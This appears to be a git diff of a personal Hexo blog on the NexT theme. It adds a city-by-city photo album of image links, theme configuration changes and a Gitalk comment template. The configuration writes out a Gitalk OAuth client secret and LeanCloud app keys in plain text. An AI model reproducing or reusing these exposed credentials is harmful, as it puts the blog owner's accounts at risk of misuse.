|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075784/life/4d315332aae693e6ddd7f46fb44e5eb.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075783/life/8d8a7ee74e6ee20f4b5e5d64b50bba1.jpg)|
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075783/life/0b39705d40d1b3afa5983fad0656659.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618075783/life/d68aef840e0b27734e55514324c3aad.jpg)|
|
||||
|
||||
### Hangzhou
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076425/life/8c958cbb036b2b5700d419aadff8981.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076433/life/bc53d4d59fe0567109b2fdcae73ad49.jpg)|
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076438/life/e97c138ba1bb94cb7a2eafe0742d180.jpg)||
|
||||
|
||||
### Nanjing
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076607/life/482f05f94499ab26f0402386d02acb7.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076607/life/482f05f94499ab26f0402386d02acb7.jpg)|
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076604/life/d4f61566a74c89128e8945c5fff6576.jpg)|![]()|
|
||||
|
||||
### Shanghai
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076823/life/c253b4877671de16e6fcf33bc4c346a.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076825/life/1c12f392632265d4928d1743af0a58c.jpg)|
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618076830/life/b447add6d2ebaf392f876e00e9420fe.jpg)|![]()|
|
||||
|
||||
### Quanzhou & Xiamen
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077118/life/59f3440e97133fa3aa0e85de0a90e90.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077126/life/8c0a20d89fac9efba2a5d9178825f28.jpg)|
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077136/life/3d6b16a8e1c0d5151081c3403e3ccd5.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077111/life/c9bdcb566db1455ff73fc43c3b739f6.jpg)|
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077105/life/87a585bbc588baa4167a1805e92d928.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077099/life/d025c15c0b5e787bf8b3cb3cf834f53.jpg)|
|
||||
|
||||
### Haikou
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077399/life/93b6111863fa916917fc8f13ad03512.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077394/life/7065c06f743c629881d0b981d9ca1de.jpg)|
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077392/life/2edd325305b8a9cfba0eae36eb99855.jpg)|![]()|
|
||||
|
||||
### Qinghai
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077771/life/d2f538547401446600ad278f659f278.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077784/life/6adf21f23d7eb1718e3e66ce59bbc90.jpg)|
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077779/life/38c46862480582a77bb301c4aa374ab.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077774/life/21de36a564974001f43a126ac665a29.jpg)|
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618077790/life/5ecab6c5ef8d00d0bf98c6ee7a493bf.jpg)|![]()|
|
||||
|
||||
### Xian
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078006/life/e19d3bfd408c896f44514e3e98a303f.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078009/life/800df229bda713832baab30f8d1576c.jpg)|
|
||||
|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078014/life/93382f02dcf4a8a5292f80718041ccd.jpg)|![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1618078019/life/ff6fc86f46ee85263630d34ed95e6a3.jpg)|
|
||||
|
||||
### Chengdu
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![]()|![]()|
|
||||
|
||||
### Wuhan
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![]()|![]()|
|
||||
|
||||
### Kangding
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![]()|![]()|
|
||||
|
||||
### Zhengzhou
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![]()|![]()|
|
||||
|
||||
### Changsha
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![]()|![]()|
|
||||
|
||||
### Shenzhen
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![]()|![]()|
|
||||
|
||||
|
||||
### Xinjiang
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![]()|![]()|
|
||||
|
||||
### Zhuhai
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![]()|![]()|
|
||||
|
||||
### Xizang
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![]()|![]()|
|
||||
|
||||
### Guangzhou
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![]()|![]()|
|
||||
|
||||
### Hulunbeier
|
||||
| | |
|
||||
| ------ | ----------- |
|
||||
|![]()|![]()|
|
@ -1,6 +0,0 @@
|
||||
---
|
||||
title:
|
||||
date: 2019-08-08 20:35:31
|
||||
type: "hack之外"
|
||||
comments: false
|
||||
---
|
1
themes/next-reloaded
Submodule
1
themes/next-reloaded
Submodule
@ -0,0 +1 @@
|
||||
Subproject commit d24c48efb1ff1182b23926a3835e350f9c3ab6eb
|
@ -101,7 +101,7 @@ menu:
|
||||
#sitemap: /sitemap.xml || sitemap
|
||||
#commonweal: /404/ || heartbeat
|
||||
bookmarks: /bookmarks/ || map
|
||||
HACK之外: /hack之外/ || heartbeat
|
||||
album: /album/ || heartbeat
|
||||
|
||||
# Enable/Disable menu icons.
|
||||
menu_icons:
|
||||
@ -118,10 +118,10 @@ baidusitemap:
|
||||
# ---------------------------------------------------------------
|
||||
|
||||
# Schemes
|
||||
#scheme: Muse
|
||||
# scheme: Mist
|
||||
scheme: Muse
|
||||
# scheme: Gemini
|
||||
# scheme: Pisces
|
||||
scheme: Gemini
|
||||
|
||||
|
||||
# ---------------------------------------------------------------
|
||||
@ -145,6 +145,7 @@ social:
|
||||
#YouTube: https://youtube.com/yourname || youtube
|
||||
Instagram: https://www.instagram.com/yan__han/ || instagram
|
||||
#Skype: skype:yourname?call|chat || skype
|
||||
# RSS: /atom.xml || fas fa-rss
|
||||
|
||||
social_icons:
|
||||
enable: true
|
||||
@ -190,8 +191,8 @@ sidebar:
|
||||
# - always expand for all pages automatically
|
||||
# - hide expand only when click on the sidebar toggle icon.
|
||||
# - remove Totally remove sidebar including sidebar toggle.
|
||||
display: post
|
||||
#display: always
|
||||
# display: post
|
||||
display: always
|
||||
#display: hide
|
||||
#display: remove
|
||||
|
||||
@ -202,10 +203,10 @@ sidebar:
|
||||
b2t: false
|
||||
|
||||
# Scroll percent label in b2t button.
|
||||
scrollpercent: false
|
||||
scrollpercent: true
|
||||
|
||||
# Enable sidebar on narrow view (only for Muse | Mist).
|
||||
onmobile: false
|
||||
onmobile: true
|
||||
|
||||
|
||||
# ---------------------------------------------------------------
|
||||
@ -216,7 +217,7 @@ sidebar:
|
||||
scroll_to_more: true
|
||||
|
||||
# Automatically saving scroll position on each post/page in cookies.
|
||||
save_scroll: false
|
||||
save_scroll: true
|
||||
|
||||
# Automatically excerpt description in homepage as preamble text.
|
||||
excerpt_description: true
|
||||
@ -256,7 +257,7 @@ alipay: /images/Alipay.png
|
||||
|
||||
# Declare license on posts
|
||||
post_copyright:
|
||||
enable: false
|
||||
enable: true
|
||||
license: CC BY-NC-SA 3.0
|
||||
license_url: https://creativecommons.org/licenses/by-nc-sa/3.0/
|
||||
|
||||
@ -266,7 +267,7 @@ post_copyright:
|
||||
# ---------------------------------------------------------------
|
||||
|
||||
# Reduce padding / margin indents on devices with narrow width.
|
||||
mobile_layout_economy: false
|
||||
mobile_layout_economy: true
|
||||
|
||||
# Android Chrome header panel color ($black-deep).
|
||||
android_chrome_color: "#222"
|
||||
@ -408,8 +409,8 @@ valine:
|
||||
# Introduction: https://imsun.net/posts/gitment-introduction/
|
||||
# You can get your Github ID from https://api.github.com/users/<Github username>
|
||||
gitment:
|
||||
enable: true
|
||||
mint: false # RECOMMEND, A mint on Gitment, to support count, language and proxy_gateway
|
||||
enable: false
|
||||
mint: true # RECOMMEND, A mint on Gitment, to support count, language and proxy_gateway
|
||||
count: true # Show comments count in post meta area
|
||||
lazy: false # Comments lazy loading with a button
|
||||
cleanly: false # Hide 'Powered by ...' on footer, and more
|
||||
@ -421,6 +422,15 @@ gitment:
|
||||
proxy_gateway: # Address of api proxy, See: https://github.com/aimingoo/intersect
|
||||
redirect_protocol: # Protocol of redirect_uri with force_redirect_protocol when mint enabled
|
||||
|
||||
gitalk:
|
||||
enable: true
|
||||
github_user: Cool-Y
|
||||
github_repo: gitment-comments
|
||||
client_id: 180955a2c3ae3d966d9a
|
||||
client_secret: 1c5db4da72df5e6fc318d12afe5f4406f7c54343
|
||||
admin: Cool-Y
|
||||
distractionFreeMode: true
|
||||
|
||||
# Baidu Share
|
||||
# Available value:
|
||||
# button | slide
|
||||
@ -451,16 +461,16 @@ gitment:
|
||||
# Technorati,Posterous,Tumblr,GoogleBookmarks,Newsvine,
|
||||
# Evernote,Friendfeed,Vkontakte,Odnoklassniki,Mailru
|
||||
needmoreshare2:
|
||||
enable: false
|
||||
enable: true
|
||||
postbottom:
|
||||
enable: false
|
||||
enable: true
|
||||
options:
|
||||
iconStyle: box
|
||||
boxForm: horizontal
|
||||
position: bottomCenter
|
||||
networks: Weibo,Wechat,Douban,QQZone,Twitter,Facebook
|
||||
float:
|
||||
enable: false
|
||||
enable: true
|
||||
options:
|
||||
iconStyle: box
|
||||
boxForm: horizontal
|
||||
@ -539,8 +549,8 @@ rating:
|
||||
# You can visit https://leancloud.cn get AppID and AppKey.
|
||||
leancloud_visitors:
|
||||
enable: true
|
||||
app_id: EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz
|
||||
app_key: x8FxDrYG79C8YFrTww9ljo8K
|
||||
app_id: CnxMogaLcXQrm9Q03lF8XH7j-gzGzoHsz
|
||||
app_key: EHqNuJ6AYvuHnY6bN6w2SMXl
|
||||
|
||||
# Another tool to show number of visitors to each article.
|
||||
# visit https://console.firebase.google.com/u/0/ to get apiKey and projectId
|
||||
@ -611,19 +621,19 @@ algolia_search:
|
||||
|
||||
# Local search
|
||||
# Dependencies: https://github.com/flashlab/hexo-generator-search
|
||||
local_search:
|
||||
enable: true
|
||||
# if auto, trigger search by changing input
|
||||
# if manual, trigger search by pressing enter key or search button
|
||||
trigger: auto
|
||||
# show top n results per article, show all results by setting to -1
|
||||
top_n_per_article: 1
|
||||
# local_search:
|
||||
# enable: true
|
||||
# # if auto, trigger search by changing input
|
||||
# # if manual, trigger search by pressing enter key or search button
|
||||
# trigger: auto
|
||||
# # show top n results per article, show all results by setting to -1
|
||||
# top_n_per_article: 1
|
||||
|
||||
search:
|
||||
path: search.xml
|
||||
field: post
|
||||
format: html
|
||||
limit: 10000
|
||||
# search:
|
||||
# path: search.xml
|
||||
# field: post
|
||||
# format: html
|
||||
# limit: 10000
|
||||
|
||||
# ---------------------------------------------------------------
|
||||
# Tags Settings
|
||||
@ -688,24 +698,24 @@ motion:
|
||||
fancybox: true
|
||||
|
||||
# Progress bar in the top during page loading.
|
||||
pace: false
|
||||
pace: true
|
||||
# Themes list:
|
||||
#pace-theme-big-counter
|
||||
#pace-theme-bounce
|
||||
#pace-theme-barber-shop
|
||||
#pace-theme-center-atom
|
||||
pace_theme: pace-theme-center-atom
|
||||
#pace-theme-center-circle
|
||||
#pace-theme-center-radar
|
||||
#pace-theme-center-simple
|
||||
#pace-theme-corner-indicator
|
||||
#pace-theme-fill-left
|
||||
#pace-theme-flash
|
||||
# pace_theme: pace-theme-flash
|
||||
#pace-theme-loading-bar
|
||||
#pace-theme-mac-osx
|
||||
# pace_theme: pace-theme-mac-osx
|
||||
#pace-theme-minimal
|
||||
# For example
|
||||
# pace_theme: pace-theme-center-simple
|
||||
pace_theme: pace-theme-minimal
|
||||
# pace_theme: pace-theme-minimal
|
||||
|
||||
# Canvas-nest
|
||||
canvas_nest: false
|
||||
@ -725,7 +735,7 @@ canvas_sphere: false
|
||||
# alpha: The transparency of the ribbon.
|
||||
# zIndex: The display level of the ribbon.
|
||||
canvas_ribbon:
|
||||
enable: false
|
||||
enable: true
|
||||
size: 300
|
||||
alpha: 0.6
|
||||
zIndex: -1
|
||||
|
@ -17,6 +17,7 @@ menu:
|
||||
sitemap: 站点地图
|
||||
commonweal: 公益404
|
||||
bookmarks: 书签
|
||||
album: 相簿
|
||||
|
||||
sidebar:
|
||||
overview: 站点概览
|
||||
|
@ -110,7 +110,7 @@
|
||||
{% endif %}
|
||||
|
||||
<div id="music163player">
|
||||
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=450 src="//music.163.com/outchain/player?type=4&id=334277093&auto=1&height=430"></iframe>
|
||||
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=110 src="//music.163.com/outchain/player?type=4&id=334277093&auto=1&height=90"></iframe>
|
||||
</div>
|
||||
|
||||
|
||||
|
@ -62,6 +62,11 @@
|
||||
{% endif %}
|
||||
</div>
|
||||
|
||||
{% elseif theme.gitalk.enable %}
|
||||
<div class="comments" id="comments">
|
||||
<div id="gitalk-container"></div>
|
||||
</div>
|
||||
|
||||
{% elseif theme.valine.appid and theme.valine.appkey %}
|
||||
<div class="comments" id="comments">
|
||||
</div>
|
||||
|
30
themes/next/layout/_third-party/comments/gitalk.swig
vendored
Normal file
30
themes/next/layout/_third-party/comments/gitalk.swig
vendored
Normal file
@ -0,0 +1,30 @@
|
||||
{% if not (theme.duoshuo and theme.duoshuo.shortname) and not theme.duoshuo_shortname %}
|
||||
{% if theme.gitalk.enable and theme.gitalk.client_id %}
|
||||
<!-- LOCAL: You can save these files to your site and update links -->
|
||||
{% set CommentsClass = "Gitalk" %}
|
||||
<link rel="stylesheet" href="https://unpkg.com/gitalk/dist/gitalk.css">
|
||||
<script src="https://unpkg.com/gitalk/dist/gitalk.min.js"></script>
|
||||
<!-- END LOCAL -->
|
||||
|
||||
{% if page.comments %}
|
||||
<script type="text/javascript">
|
||||
function renderGitalk(){
|
||||
var gitalk = new {{CommentsClass}}({
|
||||
owner: '{{ theme.gitalk.github_user }}',
|
||||
repo: '{{ theme.gitalk.github_repo }}',
|
||||
clientID: '{{ theme.gitalk.client_id }}',
|
||||
clientSecret: '{{ theme.gitalk.client_secret }}',
|
||||
admin: '{{ theme.gitalk.admin }}',
|
||||
id: decodeURI(location.pathname),
|
||||
{% if theme.gitalk.distractionFreeMode %}
|
||||
distractionFreeMode: '{{ theme.gitalk.distractionFreeMode }}'
|
||||
{% endif %}
|
||||
});
|
||||
gitalk.render('gitalk-container');
|
||||
}
|
||||
renderGitalk();
|
||||
</script>
|
||||
{% endif %}
|
||||
|
||||
{% endif %}
|
||||
{% endif %}
|
@ -6,3 +6,4 @@
|
||||
{% include 'changyan.swig' %}
|
||||
{% include 'gitment.swig' %}
|
||||
{% include 'valine.swig' %}
|
||||
{% include 'gitalk.swig' %}
|
||||
|
@ -62,8 +62,8 @@ get_font_family(config) {
|
||||
}
|
||||
|
||||
// Font families.
|
||||
$font-family-chinese = "PingFang SC", "Microsoft YaHei"
|
||||
|
||||
//$font-family-chinese = "PingFang SC", "Microsoft YaHei"
|
||||
$font-family-chinese = "Noto Serif SC";
|
||||
$font-family-base = $font-family-chinese, sans-serif
|
||||
$font-family-base = get_font_family('global'), $font-family-chinese, sans-serif if get_font_family('global')
|
||||
|
||||
@ -228,11 +228,11 @@ $brand-color = white
|
||||
$brand-hover-color = white
|
||||
$brand-bg = $black-deep
|
||||
|
||||
$logo-font-size = 20px
|
||||
$logo-font-size = 25px
|
||||
$logo-font-size = unit(hexo-config('font.logo.size'), px) if hexo-config('font.logo.size') is a 'unit'
|
||||
|
||||
$site-subtitle-color = $grey-dark
|
||||
$subtitle-font-size = 13px
|
||||
$subtitle-font-size = 25px
|
||||
$subtitle-color = $grey-dark
|
||||
|
||||
// Menu
|
||||
|
@ -1,5 +1,5 @@
|
||||
// 修改成你期望的宽度
|
||||
//$content-desktop = 700px
|
||||
$content-desktop = 700px
|
||||
|
||||
// 当视窗超过 1600px 后的宽度
|
||||
$content-desktop-large = 1400px
|
||||
$content-desktop-large = 900px
|
||||
|
Loading…
Reference in New Issue
Block a user